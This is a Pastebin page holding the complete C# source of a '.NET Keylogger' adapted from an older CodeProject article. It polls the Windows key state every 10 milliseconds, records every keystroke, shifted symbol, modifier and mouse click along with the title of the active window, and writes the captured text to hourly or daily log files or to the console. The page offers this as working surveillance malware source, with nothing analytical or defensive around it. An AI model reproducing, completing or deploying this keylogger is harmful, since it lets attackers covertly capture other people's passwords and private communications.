Advertisement
PhotoShaman

Part of keylogger

Jan 9th, 2017
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.96 KB | None | 0 0
  1. /* *************************************************************************** *
  2.  *  Title: .NET Keylogger
  3.  * Author: _DmG_
  4.  *   Date: 5/21/2007
  5.  *   Type: Open Source
  6.  *
  7.  * This software is based off "ArticleKeyLog";
  8.  * which can be found at www.codeproject.com.
  9.  * Alexander Kent is the original author. I have
  10.  * modified the source to include some more advanced
  11.  * logging features I thought were needed.
  12.  *
  13.  * Added features:
  14.  * » Focused/Active window title logging.
  15.  * » Accurate character detection.(His version would display only CAPS)
  16.  * » Log file formatting.
  17.  * » Custom args [below]
  18.  * *************************************************************************** *
  19.  * Usage:
  20.  * You have several args you can pass to customize the
  21.  * program's execution.
  22.  * netLogger.exe -f [filename] -m [mode] -i [interval] -o [output]
  23.  *      -f [filename](Name of the file. ".log" will always be the ext.)
  24.  *      -m ['hour' or 'day'] saves logfile name appended by the hour or day.
  25.  *      -i [interval] in milliseconds, flushes the buffer to either the
  26.  *                    console or file. Shorter time = more cpu usage.
  27.  *                    10000=10seconds : 60000=1minute : etc...
  28.  *      -o ['file' or 'console'] Outputs all data to either a file or console.
  29.  * *************************************************************************** *
  30.  * ArticleKeyLog - Basic Keystroke Mining
  31.  * Date:    05/12/2005
  32.  * Author:  Alexander Kent
  33.  * (www.codeproject.com)
  34.  * *************************************************************************** */
  35.  
  36. using System;
  37. using System.IO;
  38. using System.Text;
  39. using System.Windows.Forms;
  40. using System.Runtime.InteropServices;
  41.  
  42. namespace NetKeyLogger
  43. {  
  44.     public class Keylogger
  45.     {
  46.         [DllImport("User32.dll")]
  47.             private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
  48.         [DllImport("User32.dll")]
  49.             private static extern short GetAsyncKeyState(System.Int32 vKey);
  50.         [DllImport("User32.dll")]
  51.             public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
  52.         [DllImport("User32.dll")]
  53.             public static extern int GetForegroundWindow();
  54.  
  55.         private System.String keyBuffer;
  56.         private System.Timers.Timer timerKeyMine;
  57.         private System.Timers.Timer timerBufferFlush;
  58.         private System.String hWndTitle;
  59.         private System.String hWndTitlePast;
  60.         public  System.String LOG_FILE;
  61.         public  System.String LOG_MODE;
  62.         public  System.String LOG_OUT;
  63.         private bool tglAlt = false;
  64.         private bool tglControl = false;
  65.         private bool tglCapslock = false;
  66.  
  67.         public Keylogger()
  68.         {
  69.             hWndTitle = ActiveApplTitle();
  70.             hWndTitlePast = hWndTitle;
  71.  
  72.             //
  73.             // keyBuffer
  74.             //
  75.             keyBuffer = "";
  76.  
  77.             //
  78.             // timerKeyMine
  79.             //
  80.             this.timerKeyMine = new System.Timers.Timer();
  81.             this.timerKeyMine.Enabled = true;
  82.             this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
  83.             this.timerKeyMine.Interval = 10;
  84.            
  85.             //
  86.             // timerBufferFlush
  87.             //
  88.             this.timerBufferFlush = new System.Timers.Timer();
  89.             this.timerBufferFlush.Enabled = true;
  90.             this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
  91.             this.timerBufferFlush.Interval = 1800000; // 30 minutes
  92.         }
  93.  
  94.         public static string ActiveApplTitle()
  95.         {
  96.             int hwnd = GetForegroundWindow();
  97.             StringBuilder sbTitle = new StringBuilder(1024);
  98.             int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
  99.             if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
  100.             string title = sbTitle.ToString();
  101.             return title;
  102.         }
  103.  
  104.         private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
  105.         {
  106.             hWndTitle = ActiveApplTitle();
  107.  
  108.             if(hWndTitle != hWndTitlePast)
  109.             {
  110.                 if(LOG_OUT == "file")
  111.                     keyBuffer += "[" + hWndTitle + "]";
  112.                 else
  113.                 {
  114.                     Flush2Console("[" + hWndTitle + "]", true);
  115.                     if(keyBuffer.Length > 0)
  116.                         Flush2Console(keyBuffer, false);
  117.                 }
  118.                 hWndTitlePast = hWndTitle;
  119.             }
  120.            
  121.             foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
  122.             {
  123.                 if(GetAsyncKeyState(i) == -32767)
  124.                 {
  125.                     //Console.WriteLine(i.ToString()); // Outputs the pressed key code [Debugging purposes]
  126.  
  127.                     if(ControlKey)
  128.                     {
  129.                         if(!tglControl)
  130.                         {
  131.                             tglControl = true;
  132.                             keyBuffer += "<Ctrl=On>";
  133.                         }
  134.                     }
  135.                     else
  136.                     {
  137.                         if(tglControl)
  138.                         {
  139.                             tglControl = false;
  140.                             keyBuffer += "<Ctrl=Off>";
  141.                         }
  142.                     }
  143.  
  144.                     if(AltKey)
  145.                     {
  146.                         if(!tglAlt)
  147.                         {
  148.                             tglAlt = true;
  149.                             keyBuffer += "<Alt=On>";
  150.                         }
  151.                     }
  152.                     else
  153.                     {
  154.                         if(tglAlt)
  155.                         {
  156.                             tglAlt = false;
  157.                             keyBuffer += "<Alt=Off>";
  158.                         }
  159.                     }
  160.  
  161.                     if(CapsLock)
  162.                     {
  163.                         if(!tglCapslock)
  164.                         {
  165.                             tglCapslock = true;
  166.                             keyBuffer += "<CapsLock=On>";
  167.                         }
  168.                     }
  169.                     else
  170.                     {
  171.                         if(tglCapslock)
  172.                         {
  173.                             tglCapslock = false;
  174.                             keyBuffer += "<CapsLock=Off>";
  175.                         }
  176.                     }
  177.                    
  178.                     if(Enum.GetName(typeof(Keys), i) == "LButton")
  179.                         keyBuffer += "<LMouse>";
  180.                     else if(Enum.GetName(typeof(Keys), i) == "RButton")
  181.                         keyBuffer += "<RMouse>";
  182.                     else if(Enum.GetName(typeof(Keys), i) == "Back")
  183.                         keyBuffer += "<Backspace>";
  184.                     else if(Enum.GetName(typeof(Keys), i) == "Space")
  185.                         keyBuffer += " ";
  186.                     else if(Enum.GetName(typeof(Keys), i) == "Return")
  187.                         keyBuffer += "<Enter>";
  188.                     else if(Enum.GetName(typeof(Keys), i) == "ControlKey")
  189.                         continue;
  190.                     else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
  191.                         continue;
  192.                     else if(Enum.GetName(typeof(Keys), i) == "RControlKey")
  193.                         continue;
  194.                     else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
  195.                         continue;
  196.                     else if(Enum.GetName(typeof(Keys), i) == "ShiftKey")
  197.                         continue;
  198.                     else if(Enum.GetName(typeof(Keys), i) == "LShiftKey")
  199.                         continue;
  200.                     else if(Enum.GetName(typeof(Keys), i) == "RShiftKey")
  201.                         continue;
  202.                     else if(Enum.GetName(typeof(Keys), i) == "Delete")
  203.                         keyBuffer += "<Del>";
  204.                     else if(Enum.GetName(typeof(Keys), i) == "Insert")
  205.                         keyBuffer += "<Ins>";
  206.                     else if(Enum.GetName(typeof(Keys), i) == "Home")
  207.                         keyBuffer += "<Home>";
  208.                     else if(Enum.GetName(typeof(Keys), i) == "End")
  209.                         keyBuffer += "<End>";
  210.                     else if(Enum.GetName(typeof(Keys), i) == "Tab")
  211.                         keyBuffer += "<Tab>";
  212.                     else if(Enum.GetName(typeof(Keys), i) == "Prior")
  213.                         keyBuffer += "<Page Up>";
  214.                     else if(Enum.GetName(typeof(Keys), i) == "PageDown")
  215.                         keyBuffer += "<Page Down>";
  216.                     else if(Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
  217.                         keyBuffer += "<Win>";
  218.                    
  219.                     /* ********************************************** *
  220.                      * Detect key based off ShiftKey Toggle
  221.                      * ********************************************** */
  222.                     if(ShiftKey)
  223.                     {
  224.                         if(i >= 65 && i <= 122)
  225.                         {
  226.                             keyBuffer += (char)i;
  227.                         }
  228.                         else if(i.ToString() == "49")
  229.                             keyBuffer += "!";
  230.                         else if(i.ToString() == "50")
  231.                             keyBuffer += "@";
  232.                         else if(i.ToString() == "51")
  233.                             keyBuffer += "#";
  234.                         else if(i.ToString() == "52")
  235.                             keyBuffer += "$";
  236.                         else if(i.ToString() == "53")
  237.                             keyBuffer += "%";
  238.                         else if(i.ToString() == "54")
  239.                             keyBuffer += "^";
  240.                         else if(i.ToString() == "55")
  241.                             keyBuffer += "&";
  242.                         else if(i.ToString() == "56")
  243.                             keyBuffer += "*";
  244.                         else if(i.ToString() == "57")
  245.                             keyBuffer += "(";
  246.                         else if(i.ToString() == "48")
  247.                             keyBuffer += ")";
  248.                         else if(i.ToString() == "192")
  249.                             keyBuffer += "~";
  250.                         else if(i.ToString() == "189")
  251.                             keyBuffer += "_";
  252.                         else if(i.ToString() == "187")
  253.                             keyBuffer += "+";
  254.                         else if(i.ToString() == "219")
  255.                             keyBuffer += "{";
  256.                         else if(i.ToString() == "221")
  257.                             keyBuffer += "}";
  258.                         else if(i.ToString() == "220")
  259.                             keyBuffer += "|";
  260.                         else if(i.ToString() == "186")
  261.                             keyBuffer += ":";
  262.                         else if(i.ToString() == "222")
  263.                             keyBuffer += "\"";
  264.                         else if(i.ToString() == "188")
  265.                             keyBuffer += "<";
  266.                         else if(i.ToString() == "190")
  267.                             keyBuffer += ">";
  268.                         else if(i.ToString() == "191")
  269.                             keyBuffer += "?";
  270.                     }
  271.                     else
  272.                     {
  273.                         if(i >= 65 && i <= 122)
  274.                         {
  275.                             keyBuffer += (char)(i + 32);
  276.                         }
  277.                         else if(i.ToString() == "49")
  278.                             keyBuffer += "1";
  279.                         else if(i.ToString() == "50")
  280.                             keyBuffer += "2";
  281.                         else if(i.ToString() == "51")
  282.                             keyBuffer += "3";
  283.                         else if(i.ToString() == "52")
  284.                             keyBuffer += "4";
  285.                         else if(i.ToString() == "53")
  286.                             keyBuffer += "5";
  287.                         else if(i.ToString() == "54")
  288.                             keyBuffer += "6";
  289.                         else if(i.ToString() == "55")
  290.                             keyBuffer += "7";
  291.                         else if(i.ToString() == "56")
  292.                             keyBuffer += "8";
  293.                         else if(i.ToString() == "57")
  294.                             keyBuffer += "9";
  295.                         else if(i.ToString() == "48")
  296.                             keyBuffer += "0";
  297.                         else if(i.ToString() == "189")
  298.                             keyBuffer += "-";
  299.                         else if(i.ToString() == "187")
  300.                             keyBuffer += "=";
  301.                         else if(i.ToString() == "92")
  302.                             keyBuffer += "`";
  303.                         else if(i.ToString() == "219")
  304.                             keyBuffer += "[";
  305.                         else if(i.ToString() == "221")
  306.                             keyBuffer += "]";
  307.                         else if(i.ToString() == "220")
  308.                             keyBuffer += "\\";
  309.                         else if(i.ToString() == "186")
  310.                             keyBuffer += ";";
  311.                         else if(i.ToString() == "222")
  312.                             keyBuffer += "'";
  313.                         else if(i.ToString() == "188")
  314.                             keyBuffer += ",";
  315.                         else if(i.ToString() == "190")
  316.                             keyBuffer += ".";
  317.                         else if(i.ToString() == "191")
  318.                             keyBuffer += "/";
  319.                     }
  320.                 }
  321.             }
  322.         }
  323.  
  324.         #region toggles
  325.         public static bool ControlKey
  326.         {
  327.             get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
  328.         } // ControlKey
  329.         public static bool ShiftKey
  330.         {
  331.             get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
  332.         } // ShiftKey
  333.         public static bool CapsLock
  334.         {
  335.             get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
  336.         } // CapsLock
  337.         public static bool AltKey
  338.         {
  339.             get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
  340.         } // AltKey
  341.         #endregion
  342.  
  343.         private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
  344.         {
  345.             if(LOG_OUT == "file")
  346.             {
  347.                 if(keyBuffer.Length > 0)
  348.                     Flush2File(LOG_FILE);
  349.             }
  350.             else
  351.             {
  352.                 if(keyBuffer.Length > 0)
  353.                     Flush2Console(keyBuffer, false);
  354.             }
  355.         }
  356.  
  357.         public void Flush2Console(string data, bool writeLine)
  358.         {
  359.             if(writeLine)
  360.                 Console.WriteLine(data);
  361.             else
  362.             {
  363.                 Console.Write(data);
  364.                 keyBuffer = ""; // reset
  365.             }
  366.         }
  367.  
  368.         public void Flush2File(string file)
  369.         {
  370.             string AmPm = "";
  371.             try
  372.             {
  373.                 if(LOG_MODE == "hour")
  374.                 {
  375.                     if(DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11)
  376.                         AmPm = "AM";
  377.                     else
  378.                         AmPm = "PM";
  379.                     file += "_" + DateTime.Now.ToString("hh") + AmPm + ".log";
  380.                 }
  381.                 else
  382.                     file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".log";
  383.  
  384.                 FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
  385.                 using(StreamWriter sw = new StreamWriter(fil))
  386.                 {
  387.                     sw.Write(keyBuffer);
  388.                 }
  389.  
  390.                 keyBuffer = ""; // reset
  391.             }
  392.             catch(Exception ex)
  393.             {
  394.                 // Uncomment this to help debug.
  395.                 // Console.WriteLine(ex.Message);
  396.                 throw;
  397.             }
  398.         }
  399.  
  400.         #region Properties
  401.         public System.Boolean Enabled
  402.         {
  403.             get
  404.             {
  405.                 return timerKeyMine.Enabled && timerBufferFlush.Enabled;
  406.             }
  407.             set
  408.             {
  409.                 timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
  410.             }
  411.         }
  412.  
  413.         public System.Double FlushInterval
  414.         {
  415.             get
  416.             {
  417.                 return timerBufferFlush.Interval;
  418.             }
  419.             set
  420.             {
  421.                 timerBufferFlush.Interval = value;
  422.             }
  423.         }
  424.  
  425.         public System.Double MineInterval
  426.         {
  427.             get
  428.             {
  429.                 return timerKeyMine.Interval;
  430.             }
  431.             set
  432.             {
  433.                 timerKeyMine.Interval = value;
  434.             }
  435.         }
  436.         #endregion
  437.  
  438.     }
  439. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement